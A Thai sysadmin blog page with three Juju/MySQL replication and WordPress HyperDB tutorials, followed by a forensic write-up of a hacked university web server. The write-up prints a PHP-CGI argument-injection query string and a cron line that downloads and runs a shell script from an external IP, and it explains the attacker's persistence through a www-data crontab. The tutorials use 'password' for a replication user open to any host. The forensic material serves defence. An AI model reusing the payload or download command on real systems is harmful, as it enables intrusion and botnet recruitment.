Category: MySQL

  • Juju #05 – วิธีกระจายงานไปยัง MySQL แบบ Master-Master

    ต่อจาก Juju #04 – วิธีทำให้ WordPress กระจายงานไปยัง MySQL Slave ด้วย HyperDB ซึ่งเป็นวิธีการกระจายงานให้ MySQL แบบ Master-Slave จะต้องอาศัยความสามารถของ HyperDB Plugin ของ WordPress ในการทำงาน ซึ่งถ้าเป็นการพัฒนา Application ทั่วไปที่ไม่ใช่ WordPress ก็จะทำด้วยวิธีดังกล่าวไม่ได้

    ในบทความนี้จะกล่าวถึง การสร้าง Load-Balanced MySQL แบบ Master-Master ซึ่งทำให้สามารถกระจายการ Write ไปยัง MySQL หลายตัวได้ (ในเบื้องต้น 2 ตัว)
    *** ในบทความต่อไป จะต่อด้วยการเชื่อมเข้ากับ haproxy ***

    ขั้นตอนการติดตั้งมีดังนี้

    1. Deploy haproxy (ตั้งชื่อ haproxy-mysql) และ MySQL (ตั้งชื่อ mysql-master1 และ mysql-master2)
    2. ต่อไปนี้เป็นวิธีการติดตั้ง MySQL Master-Master Replication [1]
    3. บนเครื่อง mysql-master1
      แก้ไขไฟล์ /etc/mysql/mysql.cnf
      ค้นหาคำว่า server-id
      จากนั้น Uncomment บรรทัดต่อไปนี้
      server-id
      log_bin
      binlog_do_db

      จากนั้น ในบรรทัด
      server_id = 1
      – binlog_do_db ใส่เป็น Database Name ที่จะทำการ Replication

      เมื่อเสร็จแล้ว ก็ Save แล้ว Restart Mysql
      sudo service mysql restart
      แล้วเข้าใช้งานด้วยคำสั่ง
      mysql -u root -p$(cat /var/lib/mysql/mysql.passwd)
      สร้าง User ที่จะทำหน้า Replicate ข้อมูล ด้วยคำสั่ง
      mysql> create user ‘replicator’@’%’ identified by ‘password’;
      และกำหนดสิทธิให้สามารถ Replicate ได้ ด้วยคำสั่ง
      mysql> grant replication slave on *.* to ‘replicator’@’%’;
      สุดท้ายใช้คำสั่งต่อไปนี้ เพื่อเรียกข้อมูลที่สำหรับการตั้งค่า mysql-master2
      mysql> show master status;
      ได้ผลดังนี้

      จากนั้นใช้คำสั่งต่อไปนี้ แล้วเก็บค่า FILE และ POSITION ไว้ เพื่อใช้ในขั้นตอนต่อไป
    4. บนเครื่อง mysql-master2
      แก้ไขไฟล์ /etc/mysql/mysql.cnf เหมือนกับที่ทำบน mysql-master1 แต่เปลี่ยนค่า server_id เป็น 2

      เมื่อเสร็จแล้ว ก็ Save แล้ว Restart Mysql
      sudo service mysql restart
      แล้วเข้าใช้งานด้วยคำสั่ง
      mysql -u root -p$(cat /var/lib/mysql/mysql.passwd)
      สร้าง User ที่จะทำหน้า Replicate ข้อมูล ด้วยคำสั่ง
      mysql> create user ‘replicator’@’%’ identified by ‘password’;
      และกำหนดสิทธิให้สามารถ Replicate ได้ ด้วยคำสั่ง
      mysql> grant replication slave on *.* to ‘replicator’@’%’;
      ** ขั้นตอนต่อไปนี้ ทำที่ mysql-master2 (mysql-master1 ใช้ IP 10.107.107.35)
      mysql>  slave stop;
      mysql>  CHANGE MASTER TO MASTER_HOST = ‘10.107.107.35’, MASTER_USER = ‘replicator’, MASTER_PASSWORD = ‘password’, MASTER_LOG_FILE = ‘mysql-bin.000003’, MASTER_LOG_POS = 344;
      mysql> slave start;จากนั้นใช้คำสั่งต่อไปนี้ แล้วเก็บค่า FILE และ POSITION ไว้ เพื่อใช้ในขั้นตอนต่อไป
      mysql> show master status;
    5. กลับมาที่ mysql-master1 อีกครั้ง แล้วใช้คำสั่งต่อไปนี้ (mysql-master2 ใช้ IP 10.107.107.83)
      mysql> slave stop;
      mysql> CHANGE MASTER TO MASTER_HOST = ‘10.107.107.83’, MASTER_USER = ‘replicator’, MASTER_PASSWORD = ‘password’, MASTER_LOG_FILE = ‘mysql-bin.000003’, MASTER_LOG_POS = 344;
      mysql> slave start;
    6. ที่ mysql-master1 ทำการสร้าง Database ชื่อ wordpress
    7. ไปดูที่ mysql-master2 ก็จะพบว่า wordpress database ปรากฏขึ้นแล้วด้วย

    Reference:

    [1] https://www.digitalocean.com/community/tutorials/how-to-set-up-mysql-master-master-replication

    [2] https://www.digitalocean.com/community/tutorials/how-to-use-haproxy-to-set-up-mysql-load-balancing–3

     

     

  • Juju #04 – วิธีทำให้ WordPress กระจายงานไปยัง MySQL Slave ด้วย HyperDB

    ต่อจาก Juju #03 – วิธีสร้าง Load Balance MySQL เมื่อมี MySQL Server มากกว่า 1 ตัว ซึ่งทำการ Replication กัน (ในตอนนี้ 2 ตัว คือ Master กับ Slave) ซึ่งให้ความสามารถในเรื่อง [1]

    • Data-Security : เมื่อข้อมูลถูก Replicate ไปที่ Slave แล้ว เราสามารถหยุดการทำงานของ Slave เพื่อทำการสำรองข้อมูลได้ โดยไม่กระทบประสิทธิภาพการทำงานของ Master
    • Analytics: ทำการวิเคราะห์ข้อมูลต่างๆได้ที่ Slave โดยไม่กระทบประสิทธิภาพการทำงานของ Master
    • Scale-Out Solutions: เมื่อมี Slaves หลายตัว ทำให้สามารถกระจายงานในด้าน Read เพื่อเพิ่มประสิทธิภาพ โดยการแก้ไขข้อมูล จะทำที่ Master เท่านั้น

    ในบทความนี้ จะกล่าวถึงวิธีการ Scale-Out Solutions ของ WordPress เท่านั้น โดยใช้ Plugin ชื่อ HyperDB

    HyperDB [2] เป็น Database Class ที่ใช้แทนที WordPress built-in database functions โดยจะทำให้ WordPress สามารถติดต่อกับ MySQL ได้หลายเครื่อง โดยที่สามารถกำหนดได้ว่าจะ Write ไปยัง Master และ Read จากทั้ง Master และ Slaves อีกทั้งยังสามารถ Failover ได้อีกด้วย

    วิธีการติดตั้ง HyperDB

    1. ที่ WordPress ใช้คำสั่ง
      wget https://downloads.wordpress.org/plugin/hyperdb.1.2.zip
      sudo apt-get install unzip
      sudo unzip hyperdb.1.2.zip
    2. ย้ายไฟล์ hyperdb/db-config.php ไปยังที่ Directory เดียวกันกับ wp-config.php (ในที่นี้คื่อ /var/www/)
      sudo cp hyperdb/db-config.php /var/www
    3. ย้ายไฟล์ hyperdb/db.php ไปยังที่ Directory wp-content (ในที่นี้คื่อ /var/www/wp-content)
      sudo cp hyperdb/db.php /var/www/wp-content/
    4. แก้ไขไฟล์ db-config.php (ในที่นี้คื่อ /var/www/db-config.php) [3] โดยค้นหาคำว่า DB_HOST ซึ่งควรจะปรากฏอยู่แค่ 2 แห่งในไฟล์ ให้ไปที่ชุดที่ 2 ซึ่งมีเนื้อหาประมาณนี้

      จากนั้นแก้ไข DB_HOST ให้เป็น DB_SLAVE_1
    5. ต่อไปก็ไปเพิ่ม define(‘DB_SLAVE_1′,’xxx.xxx.xxx.xxx’) ซึ่งไฟล์ wp-config.php หรือไม่ก็ wp-info.php (ในที่นี้อยู่ที่ /var/www/wp-info.php)
    6. เมื่อทดสอบใช้งาน พบว่า มี Query มาทั้งที่ master และ slave
      ในภาวะว่าง

      ในภาวะมีงานเข้ามา
    7. ทดสอบเพิ่มบทความใหม่ ชื่อ “This is my first article” พบว่า ระบบสามารถเขียนไปยัง Master แล้วสามารถส่งต่อไปให้ Slave ได้
    8. ต่อไป เพิ่ม mysql-slave2 เข้าไปใน Juju และสร้าง Relation เป็น master -> Slave เช่นกัน

      แล้วทำการเพิ่ม DB_SLAVE_2 เข้าไปใน db-config.php และ wp-info.php

    9. ก็จะพบว่าข้อมูลได้ Replicate ไปหา Slave2 แล้ว
    10. และ เมื่อทำการ query ข้อมูลก็พบว่า มีการกระจายคำสั่ง Read ไปทั้ง 3 เครื่อง

    References

    [1] https://dev.mysql.com/doc/refman/5.7/en/replication.html

    [2] https://th.wordpress.org/plugins/hyperdb/

    [3] https://www.digitalocean.com/community/tutorials/how-to-optimize-wordpress-performance-with-mysql-replication-on-ubuntu-14-04

  • Juju #03 – วิธีสร้าง Load Balance MySQL

    จาก Juju #02 – วิธีติดตั้ง WordPress ทำให้ได้ WordPress ซึ่งเป็น Web Application 2 เครื่องทำหน้าที่ Load Balance กัน ด้วย haproxy แล้ว

    จากนั้น ทำการเพิ่ม MySQL เข้าไปใหม่ แล้วตั้ง Application Name เป็น mysql-slave แล้ว Commit Chages

    จากนั้น สร้าง Relation เป็น mysql:master –> mysql-slave:slave

    เมื่อเสร็จแล้ว จะได้ผลอย่างนี้

    ทดสอบเพิ่ม Post ใหม่

    แล้วเข้าไปใน mysql-slave (juju-xxx-xx เป็นชื่อเครื่องที่ Juju สร้างขึ้น)

    lxc exec juju-xxxx-xx  bash

    แล้วใช้คำสั่งต่อไปนี้

    mysql -u root -p$(cat /var/lib/mysql/mysql.passwd) -e ‘use wordpress; select post_title from wp_posts;’

    ก็จะพบว่า mysql-slave ได้รับการ Update ตามไปด้วย

    บทความต่อไป จะกล่าวถึงวิธีการทำให้ WordPress สามารถใช้ mysql-slave ในการ Read ได้ เพื่อกระจายโหลดครับ

     

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #6

    วันนี้ได้รับรายงาน ร้องเรียนจากองค์กรภายนอก ว่ามีเครื่องคอมพิวเตอร์จาก Domain ของ PSU ส่งข้อมูลจำนวนมาก ไปโจมตี ระบบเครือข่ายที่ต่างประเทศ จึงทำการสืบสวน

    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี